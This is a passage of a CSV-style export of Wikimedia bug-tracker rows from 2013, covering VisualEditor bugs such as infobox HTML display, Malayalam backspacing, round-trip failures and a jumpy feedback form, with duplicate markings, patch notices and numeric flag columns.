+%%%*** This bug has been marked as a duplicate of bug 49820 ***%%%",,,1372859187,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k3ijb4t7vtqm2fvl7dqa,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247773,VisualEditor: warn on markup.,I strongly advise that this be made pretty high-priority (See above).,,,1372782236,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k3ijb4t7vtqm2fvl7dqa,task_subcomment,,True,c1,3,False,,,0,,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+52567,Infobox template shows HTML,"**Author:** `warnckew`
+
+**Description:**
+Screenshot showing infobox DIV HTML code
+
+Launching VisualEditor to edit http://en.wikipedia.org/w/index.php?title=United_Nations_Security_Council_Resolution_1693&oldid=541044487 makes the heading of the infobox show some unexpected HTML contents, as shown in the attached browser screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11621}",Needs Triage,90.0,1372759800,1372781074.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-u4b7k3vc55d23eoi7lfv,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+247029,Infobox template shows HTML,"This is the same as bug 50366 - merging with that one.
+
+*** This bug has been marked as a duplicate of bug 50366 ***",,,1372781074,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u4b7k3vc55d23eoi7lfv,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+52566,VisualEditor: Bad typing/backspacing behaviour for Malayalam,"I have noticed an unexpected behavior while tesing Visual Editor with Malayalam Wikipedia. Describing the steps below:-
+
+1. Added the following text on a page
+
+ഡിസ്രയേലി
+
+2. When pressing a backspace immediately after the above text, it becomes
+
+ഡസരയ
+
+ie. many characters in between the original text disappeared. The expected result was ഡിസ്രയേ
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**OS**: Windows 7
+**Platform**: PC
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50507",Needs Triage,90.0,1372759140,1374044478.0,PHID-USER-4jecvpv4h62htut6pxez,False,,False,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_description,declined,True,c1,3,False,False,True,0,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+246961,VisualEditor: Bad typing/backspacing behaviour for Malayalam,Now the problem has been solved. You may mark this bug as resolved.,,,1374044144,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+246957,VisualEditor: Bad typing/backspacing behaviour for Malayalam,"(In reply to comment #1)
+> @vssun: Any specific browser? Can't reproduce it in Chrome.
+
+I could able to reproduce with Chrome (Version 27.0.1453.116 m)/windows 7",,,1373267447,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+246954,VisualEditor: Bad typing/backspacing behaviour for Malayalam,"The bug 50507 is very much related to this. There, the reporter says that the characters ്, െ etc are not allowed to type.
+
+Here the case is different but the characters are same. Characters, ി, ് and േ  (the vowel symbols of malayalam, which are joined together with preceeding consonants) are disappearing when pressing the backspace.",,,1373135312,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,0,,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+246948,VisualEditor: Bad typing/backspacing behaviour for Malayalam,Browser was Firefox 22.,,,1373134659,,PHID-USER-4jecvpv4h62htut6pxez,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+246944,VisualEditor: Bad typing/backspacing behaviour for Malayalam,@vssun: Any specific browser? Can't reproduce it in Chrome.,,,1373134158,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-ppoinlj2eyh5xj7jyhin,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+52555,"VisualEditor: ""old version"" warning shows when opening VE after a VE edit","Steps to reproduce:
+* edit a page with VE; save
+* edit the same page with VE
+
+Expected result: normal editing, no warning
+Actual result: there's a warning telling the user they're editing an old version of the page
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372746900,1372747009.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-zu3q7ugqbcdtlalzbdir,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+246464,"VisualEditor: ""old version"" warning shows when opening VE after a VE edit","Yeah, really sorry about this - this is bug 50441. Very high priority in getting this fixed.
+
+*** This bug has been marked as a duplicate of bug 50441 ***",,,1372747009,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zu3q7ugqbcdtlalzbdir,task_subcomment,,True,c1,3,True,,,0,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+52554,VisualEditor: Likely round-trip failure involving categories and transclusion content on [[Michala Petri]],"See http://en.wikipedia.org/w/index.php?title=Michala_Petri&diff=562483360&oldid=562482770
+
+It looks like VE inserted categories and default sort at some random place in the DOM, potentially cutting encapsulated transclusion content in two?
+
+The Parsoid template encapsulation and round-tripping for this page looks fine:
+
+http://parsoid.wmflabs.org/_rt/en/Michala_Petri?oldid=562482770
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372741440,1373484208.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-c67owxdoizewmtq2qqq2,task_description,resolved,True,c1,3,True,False,True,0,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+246423,VisualEditor: Likely round-trip failure involving categories and transclusion content on [[Michala Petri]],"
+
+*** This bug has been marked as a duplicate of bug 50120 ***",,,1373484208,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-c67owxdoizewmtq2qqq2,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+246417,VisualEditor: Likely round-trip failure involving categories and transclusion content on [[Michala Petri]],"Same issue:
+https://en.wikipedia.org/w/index.php?title=Richard_Mouw&curid=1175244&diff=562498507&oldid=562498198",,,1372742420,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-c67owxdoizewmtq2qqq2,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+52553,"VisualEditor: Dialogs layer under the toolbar, hide close button","I've observed this myself:
+
+Clicking ""Page settings"", or the reference, image, and category buttons in the top right brings up a dialogue box for input. To close this box there is an X in the top right. However, when I am not at the top of the page, this dialogue box pops up beneath the standard editing options. This makes it impossible to close the box without adjusting the screen magnification.
+
+In addition, the opening of these boxes freezes scrolling of the underlying page, which not only furthers the problem above, but is also simply annoying and unnecessary, as I can no longer move to another part of the article I wish to see without closing and reopening the box. Reywas92Talk 03:00, 2 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372740840,1374878989.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-xzt7v3b2ore2q4iogeui,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+246370,"VisualEditor: Dialogs layer under the toolbar, hide close button",This was fixed earlier this month as part of the general clean up of positioning; sorry for the slow response.,,,1374878989,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-xzt7v3b2ore2q4iogeui,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0
+52550,VisualEditor: Likely ref / transclusion round-trip failure,"This edit was flagged by VE as DOM-differing, and looks like a dirty ref/transclusion:
+
+https://en.wikipedia.org/w/index.php?title=Abolitionism&curid=38894&diff=562492192&oldid=560500423
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372737300,1385375352.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-i5l4tj3jbqlfjjgj2xtx,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246212,VisualEditor: Likely ref / transclusion round-trip failure,Fixed in Roan's DOM dirtying fixes drive in July.,,,1385375352,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i5l4tj3jbqlfjjgj2xtx,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+246207,VisualEditor: Likely ref / transclusion round-trip failure,"(In reply to comment #1)
+> Only difference is the removal of two spaces after equals signs.
+
+In which part of the DOM is this change? An attribute value?",,,1373928755,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-i5l4tj3jbqlfjjgj2xtx,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,1
+246203,VisualEditor: Likely ref / transclusion round-trip failure,Only difference is the removal of two spaces after equals signs.,,,1373894262,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-i5l4tj3jbqlfjjgj2xtx,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+52538,VisualEditor: Feedback form moves and jerks the screen around,"**Author:** `Shirudo`
+
+**Description:**
+While filling out the feedback form, the form jumps down the screen with every keystroke, until it's mostly out of view.  Once there, only the current line that I'm typing in is visible right above the edge, and every few keystrokes (seemingly randomly) make the entire screen jerk up and down quickly.  If I scroll down or drag the form back up so that it's centred again, it just jumps back down once I begin typing again.
+
+If it makes a difference, I'm using Firefox 22 on Fedora 18, with Gnome 3 Fallback.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372723860,1372894536.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5jyjadx572ehzjtstm2i,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+245261,VisualEditor: Feedback form moves and jerks the screen around,*** Bug 50533 has been marked as a duplicate of this bug. ***,,,1385375230,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245253,VisualEditor: Feedback form moves and jerks the screen around,*** Bug 50602 has been marked as a duplicate of this bug. ***,,,1373152861,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+245246,VisualEditor: Feedback form moves and jerks the screen around,Sorry about this bug; we've fixed this and just deployed it live.,,,1372894536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+245240,VisualEditor: Feedback form moves and jerks the screen around,"Change 71844 merged by jenkins-bot:
+Listen to keypress in ve.ce.surface.$ rather than window
+
+https://gerrit.wikimedia.org/r/71844",,,1372890609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245234,VisualEditor: Feedback form moves and jerks the screen around,"Change 71844 had a related patch set uploaded by Robmoen:
+Listen to keypress in ve.ce.surface.$ rather than window.
+
+https://gerrit.wikimedia.org/r/71844",,,1372874494,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245227,VisualEditor: Feedback form moves and jerks the screen around,"This has also been reported on Firefox 22/Windows 7, and by a third user who hasn't specified browser/OS.",,,1372834749,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+245220,VisualEditor: Feedback form moves and jerks the screen around,This sounds really unhelpful; sorry about this.,,,1372726074,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+52529,IME selector appears when the VisualEditor headings style selector is clicked,"Enter a wiki with VE and ULS. (Enable ULS in preferences if needed.)
+
+Start editing a page using VE. Press the headings style dropdown.
+
+Observed: IME selector appears near the dropdown.
+
+Expected: IME selector must not appear. It's not a place for writing things.
+
+Background: there's an <input> element hiding there to capture click events (according to Roan).
+
+https://gerrit.wikimedia.org/r/#/c/68339/ may be able to fix it (though some modifications may be needed).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**Whiteboard**: ve",Needs Triage,90.0,1372716720,1375770944.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-gm7mlj7ylnonhtpcmhmc,task_description,resolved,True,c1,3,False,False,True,0,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+244730,IME selector appears when the VisualEditor headings style selector is clicked,"Change 72356 merged by jenkins-bot:
+Remove unnecessary ULS IME selector from VE headings menu
+
+https://gerrit.wikimedia.org/r/72356",,,1375115733,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gm7mlj7ylnonhtpcmhmc,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244725,IME selector appears when the VisualEditor headings style selector is clicked,"Change 72356 had a related patch set uploaded by Amire80:
+Remove unnecessary ULS IME selector from VE headings menu
+
+https://gerrit.wikimedia.org/r/72356",,,1373190428,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gm7mlj7ylnonhtpcmhmc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244723,IME selector appears when the VisualEditor headings style selector is clicked,"I tested, and my assumption is correct: If https://gerrit.wikimedia.org/r/#/c/68339/ is merged, then this bug can be fixed by adding:
+
+$wgULSNoImeSelectors[] = 'ul.ve-ui-menuWidget input';",,,1373020498,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-gm7mlj7ylnonhtpcmhmc,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+52527,Tagging articles using old markup on VE,"I note that if an editor uses old markup in VE (like [[link]]), it gets enclosed in <nowiki> tags
+
+Could we have an additional tag added to the Edit summary, (similar to the Visual Editor tag we have?) which states somethine like ""Old wiki markup""
+
+That way, we can keep track of, and rectify all the cases where the old wiki markup is used while using VE, and remedy it rather than clutter dozens of article with nowiki tags which might not be removed for days
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49820",Needs Triage,90.0,1372715580,1375200134.0,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,False,PHID-TASK-tndk34qrdqsecj3chsun,task_description,declined,True,c1,3,False,False,True,0,,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+244645,Tagging articles using old markup on VE,"**nykevin.norris** wrote:
+
+Removing self from CC.  Tired of spam.  Bug is dead, people.",,,1375295445,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+244639,Tagging articles using old markup on VE,"**kwwilliams** wrote:
+
+(In reply to comment #20)
+> (In reply to comment #18)
+> kwwilliams: Unrelated to agreeing or disagreeing with others, could you
+> please
+> assume that people mean well instead of calling names, to keep Bugzilla a
+> friendly place? 
+
+I haven't called anyone names. I don't plan on starting to, either. If you can suggest a friendlier wording to describe a conscious decision not to fix a bug and requiring other people to deal with the consequences of the bug every day forever instead, I'm willing to listen to suggestions.",,,1375295294,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+244635,Tagging articles using old markup on VE,"(In reply to comment #18)
+kwwilliams: Unrelated to agreeing or disagreeing with others, could you please assume that people mean well instead of calling names, to keep Bugzilla a friendly place? High-level debates on general development priorities are better placed on https://en.wikipedia.org/wiki/Wikipedia:VE/F instead of a bug report which is only meant to be about a *specific* problem *in the code*. Thanks!",,,1375293668,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0
+244628,Tagging articles using old markup on VE,"**kwwilliams** wrote:
+
